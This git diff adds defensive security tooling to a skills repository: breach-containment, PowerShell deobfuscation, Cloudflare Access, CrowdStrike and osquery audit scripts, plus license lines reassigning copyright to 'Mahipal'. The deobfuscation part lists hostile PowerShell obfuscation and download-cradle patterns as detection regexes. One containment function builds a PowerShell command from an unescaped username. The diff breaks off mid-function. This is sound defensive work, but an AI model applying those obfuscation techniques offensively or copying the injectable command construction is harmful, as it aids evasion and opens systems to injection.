a/skills/containing-active-breach/LICENSE +++ b/skills/containing-active-breach/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/containing-active-security-breach/LICENSE b/skills/containing-active-security-breach/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/containing-active-security-breach/LICENSE +++ b/skills/containing-active-security-breach/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/containing-active-security-breach/references/api-reference.md b/skills/containing-active-security-breach/references/api-reference.md new file mode 100644 index 00000000..3fcb062d --- /dev/null +++ b/skills/containing-active-security-breach/references/api-reference.md @@ -0,0 +1,41 @@ +# Active Security Breach Containment — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | EDR API calls for host isolation | +| falconpy | `pip install crowdstrike-falconpy` | CrowdStrike Falcon SDK | +| ldap3 | `pip install ldap3` | AD account disable via LDAP | + +## CrowdStrike Falcon Host Isolation + +```python +from falconpy import Hosts +hosts = Hosts(client_id="ID", client_secret="SECRET") +hosts.perform_action(action_name="contain", ids=["device_id"]) +``` + +## Containment Actions + +| Action | Method | Scope | +|--------|--------|-------| +| Host Isolation | EDR API (CrowdStrike, Defender) | Single endpoint | +| Account Disable | `Disable-ADAccount` / LDAP | User identity | +| IP Block | Firewall rule / NGFW API | Network perimeter | +| Session Revoke | `Revoke-AzureADUserAllRefreshToken` | Cloud sessions | +| Token Invalidation | IdP API | OAuth/SAML tokens | + +## NIST IR Phases + +| Phase | Actions | +|-------|---------| +| Containment | Isolate, disable, block | +| Eradication | Remove malware, patch vulnerabilities | +| Recovery | Restore, validate, monitor | + +## External References + +- [CrowdStrike Falcon API](https://falcon.crowdstrike.com/documentation/page/a2a7fc0e/host-and-host-group-management-apis) +- [NIST SP 800-61 Rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) +- [SANS IR Playbook](https://www.sans.org/white-papers/33901/) diff --git a/skills/containing-active-security-breach/scripts/agent.py b/skills/containing-active-security-breach/scripts/agent.py new file mode 100644 index 00000000..c8ecb65f --- /dev/null +++ b/skills/containing-active-security-breach/scripts/agent.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +"""Active security breach containment agent for automated response actions.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def isolate_host_crowdstrike(api_base, api_token, device_id): + """Isolate a compromised host via CrowdStrike Falcon API.""" + headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"} + resp = requests.post(f"{api_base}/devices/entities/devices-actions/v2", + params={"action_name": "contain"}, + headers=headers, + json={"ids": [device_id]}) + return {"action": "host_isolation", "device_id": device_id, + "status": resp.status_code, "response": resp.json()} + + +def disable_ad_account(username, domain_controller): + """Disable compromised AD account via PowerShell.""" + cmd = ["powershell", "-Command", + f"Disable-ADAccount -Identity '{username}' -Server '{domain_controller}' -Confirm:$false"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + return {"action": "disable_account", "username": username, + "status": "success" if result.returncode == 0 else "failed", + "output": result.stderr[:200] if result.stderr else ""} + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"action": "disable_account", "status": "error", "error": str(e)} + + +def block_ip_firewall(ip_address): + """Block attacker IP on network firewall.""" + cmd = ["powershell", "-Command", + f"New-NetFirewallRule -DisplayName 'IR-Block-{ip_address}' -Direction Inbound " + f"-Action Block -RemoteAddress '{ip_address}' -Profile Any"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + return {"action": "block_ip", "ip": ip_address, + "status": "success" if result.returncode == 0 else "failed"} + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"action": "block_ip", "status": "error", "error": str(e)} + + +def generate_containment_checklist(incident_type): + """Generate containment checklist based on incident type.""" + checklists = { + "ransomware": [ + {"step": 1, "action": "Isolate affected hosts from network", "priority": "CRITICAL"}, + {"step": 2, "action": "Disable compromised user accounts", "priority": "CRITICAL"}, + {"step": 3, "action": "Block C2 IPs and domains at firewall", "priority": "HIGH"}, + {"step": 4, "action": "Preserve forensic evidence before reimaging", "priority": "HIGH"}, + {"step": 5, "action": "Reset Kerberos KRBTGT password twice", "priority": "HIGH"}, + {"step": 6, "action": "Revoke active VPN and remote access sessions", "priority": "HIGH"}, + {"step": 7, "action": "Notify legal and executive leadership", "priority": "MEDIUM"}, + ], + "data_breach": [ + {"step": 1, "action": "Identify and isolate exfiltration channel", "priority": "CRITICAL"}, + {"step": 2, "action": "Revoke compromised API keys and tokens", "priority": "CRITICAL"}, + {"step": 3, "action": "Block external IPs involved in exfiltration", "priority": "HIGH"}, + {"step": 4, "action": "Preserve logs and network captures", "priority": "HIGH"}, + {"step": 5, "action": "Assess scope of data exposed", "priority": "HIGH"}, + {"step": 6, "action": "Engage legal for breach notification requirements", "priority": "MEDIUM"}, + ], + "account_compromise": [ + {"step": 1, "action": "Disable compromised accounts immediately", "priority": "CRITICAL"}, + {"step": 2, "action": "Revoke all active sessions and tokens", "priority": "CRITICAL"}, + {"step": 3, "action": "Reset passwords and MFA enrollments", "priority": "HIGH"}, + {"step": 4, "action": "Review recent account activity and access logs", "priority": "HIGH"}, + {"step": 5, "action": "Check for persistence mechanisms (forwarding rules, OAuth apps)", "priority": "HIGH"}, + ], + } + return checklists.get(incident_type, checklists["ransomware"]) + + +def run_containment(incident_type="ransomware"): + """Execute breach containment planning.""" + print(f"\n{'='*60}") + print(f" ACTIVE BREACH CONTAINMENT") + print(f" Incident Type: {incident_type}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + checklist = generate_containment_checklist(incident_type) + print(f"--- CONTAINMENT CHECKLIST ---") + for item in checklist: + print(f" [{item['priority']}] Step {item['step']}: {item['action']}") + + return {"incident_type": incident_type, "checklist": checklist} + + +def main(): + parser = argparse.ArgumentParser(description="Breach Containment Agent") + parser.add_argument("--incident-type", choices=["ransomware", "data_breach", "account_compromise"], + default="ransomware", help="Type of incident") + parser.add_argument("--isolate-host", help="CrowdStrike device ID to isolate") + parser.add_argument("--disable-account", help="AD username to disable") + parser.add_argument("--block-ip", help="Attacker IP to block") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_containment(args.incident_type) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/correlating-security-events-in-qradar/LICENSE b/skills/correlating-security-events-in-qradar/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/correlating-security-events-in-qradar/LICENSE +++ b/skills/correlating-security-events-in-qradar/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/correlating-threat-campaigns/LICENSE b/skills/correlating-threat-campaigns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/correlating-threat-campaigns/LICENSE +++ b/skills/correlating-threat-campaigns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deobfuscating-javascript-malware/LICENSE b/skills/deobfuscating-javascript-malware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deobfuscating-javascript-malware/LICENSE +++ b/skills/deobfuscating-javascript-malware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deobfuscating-powershell-obfuscated-malware/LICENSE b/skills/deobfuscating-powershell-obfuscated-malware/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deobfuscating-powershell-obfuscated-malware/LICENSE +++ b/skills/deobfuscating-powershell-obfuscated-malware/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md b/skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md new file mode 100644 index 00000000..371b49ae --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/references/api-reference.md @@ -0,0 +1,34 @@ +# PowerShell Deobfuscation — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| re | stdlib | Regex pattern matching for obfuscation detection | +| base64 | stdlib | Base64 decoding of encoded commands | +| pySigma | `pip install pySigma` | Sigma rule generation for detections | + +## Common Obfuscation Techniques + +| Technique | Pattern | Example | +|-----------|---------|---------| +| Base64 Encoding | `-EncodedCommand ` | `powershell -enc SQBFAFgA...` | +| String Concatenation | `'str1'+'str2'` | `'Inv'+'oke'+'-Exp'+'ression'` | +| Character Codes | `[char]73+[char]69` | `[char]73` = I, `[char]69` = E | +| Backtick Escape | `` `I`E`X `` | Backtick breaks keyword detection | +| Variable Substitution | `$env:COMSPEC` | Use env vars as execution paths | +| Compression | `IO.Compression.DeflateStream` | Compressed + Base64 payload | + +## Detection Event IDs + +| Source | Event ID | Description | +|--------|----------|-------------| +| PowerShell | 4104 | Script block logging (deobfuscated content) | +| Sysmon | 1 | Process creation with command line | +| Defender | 1116 | Malware detection | + +## External References + +- [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) +- [PSDecode](https://github.com/R3MRUM/PSDecode) +- [PowerShell ScriptBlock Logging](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging) diff --git a/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py b/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py new file mode 100644 index 00000000..4223cf86 --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/scripts/agent.py @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +"""PowerShell obfuscated malware deobfuscation agent.""" + +import json +import sys +import argparse +import re +import base64 +from datetime import datetime + + +def decode_base64_commands(script_content): + """Find and decode Base64 encoded PowerShell commands.""" + decoded = [] + b64_pattern = re.compile(r'-[eE](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})') + for match in b64_pattern.finditer(script_content): + encoded = match.group(1) + try: + raw = base64.b64decode(encoded) + text = raw.decode("utf-16-le", errors="replace") + decoded.append({"encoded": encoded[:60] + "...", "decoded": text[:500]}) + except Exception: + pass + standalone_b64 = re.compile(r'["\']([A-Za-z0-9+/]{40,}={0,2})["\']') + for match in standalone_b64.finditer(script_content): + try: + raw = base64.b64decode(match.group(1)) + text = raw.decode("utf-8", errors="replace") + if text.isprintable() or "http" in text.lower(): + decoded.append({"encoded": match.group(1)[:60] + "...", "decoded": text[:500]}) + except Exception: + pass + return decoded + + +def deobfuscate_string_concatenation(script_content): + """Resolve string concatenation obfuscation.""" + concat_pattern = re.compile(r"(?:'[^']*'\s*\+\s*){2,}'[^']*'") + resolved = [] + for match in concat_pattern.finditer(script_content): + original = match.group(0) + parts = re.findall(r"'([^']*)'", original) + result = "".join(parts) + resolved.append({"obfuscated": original[:80], "resolved": result[:500]}) + return resolved + + +def detect_obfuscation_techniques(script_content): + """Identify obfuscation techniques used in the script.""" + techniques = [] + checks = [ + (r'-[eE](?:nc(?:odedcommand)?)', "Base64 encoded command", "HIGH"), + (r'\[(?:char|int)\]\s*\d+', "Character code conversion", "MEDIUM"), + (r'(?:iex|invoke-expression)', "Invoke-Expression (IEX) execution", "HIGH"), + (r'\$\{[^}]+\}', "Variable name obfuscation with braces", "LOW"), + (r'\.(?:replace|split|reverse)\(', "String manipulation methods", "MEDIUM"), + (r'-(?:join|split)\s', "Array join/split obfuscation", "MEDIUM"), + (r'(?:Net\.WebClient|DownloadString|DownloadFile)', "Web download cradle", "CRITICAL"), + (r'(?:Start-Process|Invoke-Item|cmd\s*/c)', "Process execution", "HIGH"), + (r'\[System\.Convert\]::FromBase64String', ".NET Base64 decode", "HIGH"), + (r'(?:gci|ls|dir)\s+env:', "Environment variable access", "LOW"), + ] + for pattern, name, severity in checks: + if re.search(pattern, script_content, re.IGNORECASE): + techniques.append({"technique": name, "severity": severity}) + return techniques + + +def extract_iocs(script_content): + """Extract indicators of compromise from deobfuscated content.""" + iocs = {"urls": [], "ips": [], "domains": [], "file_paths": []} + url_pattern = re.compile(r'https?://[^\s"\'<>]+') + ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b') + path_pattern = re.compile(r'[A-Z]:\\[\w\\]+\.\w{2,4}|/(?:tmp|var|etc)/[\w/]+') + iocs["urls"] = list(set(url_pattern.findall(script_content))) + iocs["ips"] = list(set(ip_pattern.findall(script_content))) + iocs["file_paths"] = list(set(path_pattern.findall(script_content))) + return iocs + + +def run_analysis(script_path): + """Execute PowerShell deobfuscation analysis.""" + print(f"\n{'='*60}") + print(f" POWERSHELL MALWARE DEOBFUSCATION") + print(f" File: {script_path}") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + with open(script_path, "r", errors="replace") as f: + content = f.read() + + techniques = detect_obfuscation_techniques(content) + print(f"--- OBFUSCATION TECHNIQUES ({len(techniques)}) ---") + for t in techniques: + print(f" [{t['severity']}] {t['technique']}") + + b64 = decode_base64_commands(content) + print(f"\n--- BASE64 DECODED ({len(b64)}) ---") + for d in b64[:5]: + print(f" {d['decoded'][:100]}") + + concat = deobfuscate_string_concatenation(content) + print(f"\n--- STRING CONCAT RESOLVED ({len(concat)}) ---") + for c in concat[:5]: + print(f" {c['resolved'][:100]}") + + all_decoded = content + for d in b64: + all_decoded += "\n" + d["decoded"] + iocs = extract_iocs(all_decoded) + print(f"\n--- IOCs ---") + print(f" URLs: {iocs['urls'][:5]}") + print(f" IPs: {iocs['ips'][:5]}") + print(f" Paths: {iocs['file_paths'][:5]}") + + return {"techniques": techniques, "decoded_b64": b64, "concat": concat, "iocs": iocs} + + +def main(): + parser = argparse.ArgumentParser(description="PowerShell Deobfuscation Agent") + parser.add_argument("--script", required=True, help="Path to obfuscated PowerShell script") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_analysis(args.script) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-cloudflare-access-for-zero-trust/LICENSE b/skills/deploying-cloudflare-access-for-zero-trust/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-cloudflare-access-for-zero-trust/LICENSE +++ b/skills/deploying-cloudflare-access-for-zero-trust/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md b/skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md new file mode 100644 index 00000000..85b29922 --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/references/api-reference.md @@ -0,0 +1,42 @@ +# Cloudflare Access Zero Trust — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| requests | `pip install requests` | Cloudflare API v4 client | + +## Cloudflare Access API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/accounts/{id}/access/apps` | List Access applications | +| GET | `/accounts/{id}/access/apps/{id}/policies` | List app policies | +| GET | `/accounts/{id}/access/groups` | List Access groups | +| GET | `/accounts/{id}/access/identity_providers` | List IdP configs | +| GET | `/accounts/{id}/access/service_tokens` | List service tokens | +| POST | `/accounts/{id}/access/apps` | Create application | +| PUT | `/accounts/{id}/access/apps/{id}` | Update application | + +## Authentication + +```python +headers = { + "Authorization": "Bearer ", + "Content-Type": "application/json" +} +``` + +## Access Policy Rule Types + +| Rule | Description | +|------|-------------| +| `include` | Must match (OR within group) | +| `exclude` | Must not match | +| `require` | Must match (AND) | + +## External References + +- [Cloudflare Access API](https://developers.cloudflare.com/api/operations/access-applications-list-access-applications) +- [Cloudflare Zero Trust Docs](https://developers.cloudflare.com/cloudflare-one/) +- [cloudflare Python SDK](https://github.com/cloudflare/cloudflare-python) diff --git a/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py b/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py new file mode 100644 index 00000000..7d2e9c01 --- /dev/null +++ b/skills/deploying-cloudflare-access-for-zero-trust/scripts/agent.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python3 +"""Cloudflare Access zero trust audit agent using Cloudflare API.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +class CloudflareAccessClient: + """Cloudflare Access API client.""" + + def __init__(self, api_token, account_id): + self.base = f"https://api.cloudflare.com/client/v4/accounts/{account_id}/access" + self.headers = {"Authorization": f"Bearer {api_token}", "Content-Type": "application/json"} + + def _get(self, endpoint): + resp = requests.get(f"{self.base}/{endpoint}", headers=self.headers) + resp.raise_for_status() + return resp.json() + + def list_applications(self): + return self._get("apps") + + def list_policies(self, app_id): + return self._get(f"apps/{app_id}/policies") + + def list_groups(self): + return self._get("groups") + + def list_identity_providers(self): + return self._get("identity_providers") + + def list_service_tokens(self): + return self._get("service_tokens") + + +def audit_access_config(client): + """Audit Cloudflare Access configuration.""" + findings = [] + apps = client.list_applications() + for app in apps.get("result", []): + if not app.get("session_duration"): + findings.append({ + "type": "no_session_timeout", + "app": app.get("name", ""), + "severity": "MEDIUM", + }) + tokens = client.list_service_tokens() + for token in tokens.get("result", []): + if token.get("expires_at"): + expiry = datetime.fromisoformat(token["expires_at"].replace("Z", "+00:00")) + if expiry.replace(tzinfo=None) < datetime.utcnow(): + findings.append({ + "type": "expired_service_token", + "token_name": token.get("name", ""), + "severity": "HIGH", + }) + return findings + + +def run_audit(api_token, account_id): + """Execute Cloudflare Access audit.""" + client = CloudflareAccessClient(api_token, account_id) + print(f"\n{'='*60}") + print(f" CLOUDFLARE ACCESS ZERO TRUST AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + apps = client.list_applications() + app_list = apps.get("result", []) + print(f"--- APPLICATIONS ({len(app_list)}) ---") + for a in app_list[:10]: + print(f" {a.get('name', '')}: domain={a.get('domain', '')} type={a.get('type', '')}") + + idps = client.list_identity_providers() + idp_list = idps.get("result", []) + print(f"\n--- IDENTITY PROVIDERS ({len(idp_list)}) ---") + for idp in idp_list: + print(f" {idp.get('name', '')}: type={idp.get('type', '')}") + + findings = audit_access_config(client) + print(f"\n--- FINDINGS ({len(findings)}) ---") + for f in findings: + print(f" [{f['severity']}] {f['type']}: {f.get('app', f.get('token_name', ''))}") + + return {"apps": len(app_list), "idps": len(idp_list), "findings": findings} + + +def main(): + parser = argparse.ArgumentParser(description="Cloudflare Access Audit Agent") + parser.add_argument("--api-token", required=True, help="Cloudflare API token") + parser.add_argument("--account-id", required=True, help="Cloudflare account ID") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = run_audit(args.api_token, args.account_id) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-edr-agent-with-crowdstrike/LICENSE b/skills/deploying-edr-agent-with-crowdstrike/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-edr-agent-with-crowdstrike/LICENSE +++ b/skills/deploying-edr-agent-with-crowdstrike/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md b/skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md new file mode 100644 index 00000000..2208d1ba --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/references/api-reference.md @@ -0,0 +1,41 @@ +# CrowdStrike EDR Deployment — API Reference + +## Libraries + +| Library | Install | Purpose | +|---------|---------|---------| +| crowdstrike-falconpy | `pip install crowdstrike-falconpy` | Official CrowdStrike Falcon SDK | + +## Key FalconPy Service Classes + +| Class | Description | +|-------|-------------| +| `Hosts(client_id, client_secret)` | Host/device management | +| `Detections(client_id, client_secret)` | Detection queries and management | +| `RealTimeResponse(client_id, client_secret)` | RTR session management | +| `SensorDownload(client_id, client_secret)` | Sensor installer download | +| `Prevention(client_id, client_secret)` | Prevention policy management | + +## Key Methods + +| Method | Description | +|--------|-------------| +| `hosts.query_devices_by_filter(filter=, limit=)` | Query host IDs | +| `hosts.get_device_details(ids=[])` | Get host details | +| `hosts.perform_action(action_name="contain", ids=[])` | Contain/lift containment | +| `detections.query_detects(filter=, sort=)` | Query detection IDs | +| `detections.get_detect_summaries(body={"ids": []})` | Get detection details | + +## FQL Filter Examples + +``` +platform_name:'Windows' + status:'normal' +last_seen:>='2024-01-01T00:00:00Z' +hostname:'*server*' +``` + +## External References + +- [FalconPy Documentation](https://www.falconpy.io/) +- [CrowdStrike API Swagger](https://assets.falcon.crowdstrike.com/support/api/swagger.html) +- [FalconPy GitHub](https://github.com/CrowdStrike/falconpy) diff --git a/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py b/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py new file mode 100644 index 00000000..f0434470 --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/scripts/agent.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +"""CrowdStrike EDR deployment and monitoring agent using FalconPy.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + from falconpy import Hosts, Detections, RealTimeResponse, SensorDownload +except ImportError: + print("Install: pip install crowdstrike-falconpy") + sys.exit(1) + + +def list_hosts(client_id, client_secret, filter_query=None): + """List managed hosts with sensor details.""" + hosts = Hosts(client_id=client_id, client_secret=client_secret) + params = {"limit": 100} + if filter_query: + params["filter"] = filter_query + id_resp = hosts.query_devices_by_filter(**params) + if id_resp["status_code"] != 200: + return [] + device_ids = id_resp["body"]["resources"] + if not device_ids: + return [] + detail_resp = hosts.get_device_details(ids=device_ids) + results = [] + for device in detail_resp["body"].get("resources", []): + results.append({ + "hostname": device.get("hostname", ""), + "device_id": device.get("device_id", ""), + "platform": device.get("platform_name", ""), + "os_version": device.get("os_version", ""), + "sensor_version": device.get("agent_version", ""), + "status": device.get("status", ""), + "last_seen": device.get("last_seen", ""), + }) + return results + + +def get_detections(client_id, client_secret, severity=None): + """Retrieve recent detections.""" + detections = Detections(client_id=client_id, client_secret=client_secret) + params = {"limit": 50, "sort": "last_behavior|desc"} + if severity: + params["filter"] = f"max_severity_displayname:'{severity}'" + id_resp = detections.query_detects(**params) + if id_resp["status_code"] != 200: + return [] + detect_ids = id_resp["body"]["resources"] + if not detect_ids: + return [] + detail_resp = detections.get_detect_summaries(body={"ids": detect_ids}) + results = [] + for det in detail_resp["body"].get("resources", []): + results.append({ + "detection_id": det.get("detection_id", ""), + "hostname": det.get("device", {}).get("hostname", ""), + "severity": det.get("max_severity_displayname", ""), + "tactic": det.get("behaviors", [{}])[0].get("tactic", "") if det.get("behaviors") else "", + "technique": det.get("behaviors", [{}])[0].get("technique", "") if det.get("behaviors") else "", + "status": det.get("status", ""), + "timestamp": det.get("last_behavior", ""), + }) + return results + + +def check_sensor_versions(hosts_data): + """Audit sensor version compliance across fleet.""" + versions = {} + for host in hosts_data: + ver = host.get("sensor_version", "unknown") + versions[ver] = versions.get(ver, 0) + 1 + return {"version_distribution": versions, "total_hosts": len(hosts_data)} + + +def run_audit(client_id, client_secret): + """Execute CrowdStrike EDR audit.""" + print(f"\n{'='*60}") + print(f" CROWDSTRIKE EDR DEPLOYMENT AUDIT") + print(f" Generated: {datetime.utcnow().isoformat()} UTC") + print(f"{'='*60}\n") + + hosts_data = list_hosts(client_id, client_secret) + print(f"--- MANAGED HOSTS ({len(hosts_data)}) ---") + for h in hosts_data[:10]: + print(f" {h['hostname']}: {h['platform']} v{h['sensor_version']} ({h['status']})") + + versions = check_sensor_versions(hosts_data) + print(f"\n--- SENSOR VERSIONS ---") + for ver, count in sorted(versions["version_distribution"].items()): + print(f" {ver}: {count} hosts") + + detections = get_detections(client_id, client_secret) + print(f"\n--- RECENT DETECTIONS ({len(detections)}) ---") + for d in detections[:10]: + print(f" [{d['severity']}] {d['hostname']}: {d['tactic']} / {d['technique']}") + + return {"hosts": len(hosts_data), "versions": versions, "detections": detections} + + +def main(): + parser = argparse.ArgumentParser(description="CrowdStrike EDR Agent") + parser.add_argument("--client-id", required=True, help="CrowdStrike API client ID") + parser.add_argument("--client-secret", required=True, help="CrowdStrike API client secret") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + if args.audit: + report = run_audit(args.client_id, args.client_secret) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-osquery-for-endpoint-monitoring/LICENSE b/skills/deploying-osquery-for-endpoint-monitoring/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/deploying-osquery-for-endpoint-monitoring/LICENSE +++ b/skills/deploying-osquery-for-endpoint-monitoring/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md b/skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md new file mode 100644 index 00000000..b2215118 --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/references/api-reference.md @@ -0,0 +1,46 @@ +# osquery Endpoint Monitoring — API Reference + +## Installation + +| Platform | Command | +|----------|---------| +| macOS | `brew install osquery` | +| Ubuntu | `apt install osquery` | +| Windows | MSI installer from osquery.io | + +## Key osquery Tables + +| Table | Description | +|-------|-------------| +| `processes` | Running processes with pid, name, cmdline, uid | +| `listening_ports` | Open network ports with bound process | +| `suid_bin` | SUID/SGID binaries on the system | +| `crontab` | Scheduled cron jobs | +| `authorized_keys` | SSH authorized keys per user | +| `kernel_modules` | Loaded kernel modules | +| `docker_containers` | Docker container status | +| `startup_items` | Boot/login startup items | +| `file` | File metadata, hashes, timestamps | + +## Fleet API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v1/fleet/hosts` | List enrolled hosts | +| GET | `/api/v1/fleet/hosts/{id}` | Host details | +| POST | `/api/v1/fleet/queries` | Create scheduled query | +| GET | `/api/v1/fleet/queries` | List queries | + +## osquery CLI + +```bash +osqueryi --json "SELECT * FROM processes LIMIT 5" +osqueryctl start # Start osquery daemon +osqueryctl config-check # Validate configuration +``` + +## External References + +- [osquery Schema](https://osquery.io/schema/) +- [Fleet Documentation](https://fleetdm.com/docs) +- [osquery Packs](https://github.com/osquery/osquery/tree/master/packs) diff --git a/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py b/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py new file mode 100644 index 00000000..d267a1e3 --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/scripts/agent.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python3 +"""osquery endpoint monitoring agent for security auditing.""" + +import json +import sys +import argparse +import subprocess +from datetime import datetime + + +SECURITY_QUERIES = { + "listening_ports": "SELECT p.pid, p.name, l.port, l.protocol, l.address FROM listening_ports l JOIN processes p ON l.pid = p.pid WHERE l.port != 0", + "suid_binaries": "SELECT path, username, permissions FROM suid_bin", + "crontab_entries": "SELECT command, path, event FROM crontab", + "authorized_keys": "SELECT uid, username, key_file FROM authorized_keys", + "logged_in_users": "SELECT user, host, type, time FROM logged_in_users", + "kernel_modules": "SELECT name, size, used_by, status FROM kernel_modules WHERE status = 'Live'", + "processes_high_cpu": "SELECT pid, name, uid, resident_size, percent_processor_time FROM processes WHERE percent_processor_time > 50", + "docker_containers": "SELECT id, name, image, status, started_at FROM docker_containers", + "browser_extensions": "SELECT name, identifier, version, path, browser_type FROM chrome_extensions UNION ALL SELECT name, identifier, version, path, browser_type FROM firefox_addons", + "startup_items": "SELECT name, path, source FROM startup_items", +} + + +def run_osquery(query, output_format="json"): + """Execute osquery and return results.""" + cmd = ["osqueryi", f"--{output_format}", query] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if output_format == "json" and result.stdout.strip(): + return json.loads(result.stdout) + return [{"raw": result.stdout[:1000]}] + except FileNotFoundError: + return [{"error": "osquery not installed. Install from https://osquery.io/downloads/"}] + except (json.JSONDecodeError, subprocess.TimeoutExpired) as e: + return [{"error": str(e)}] + + +def 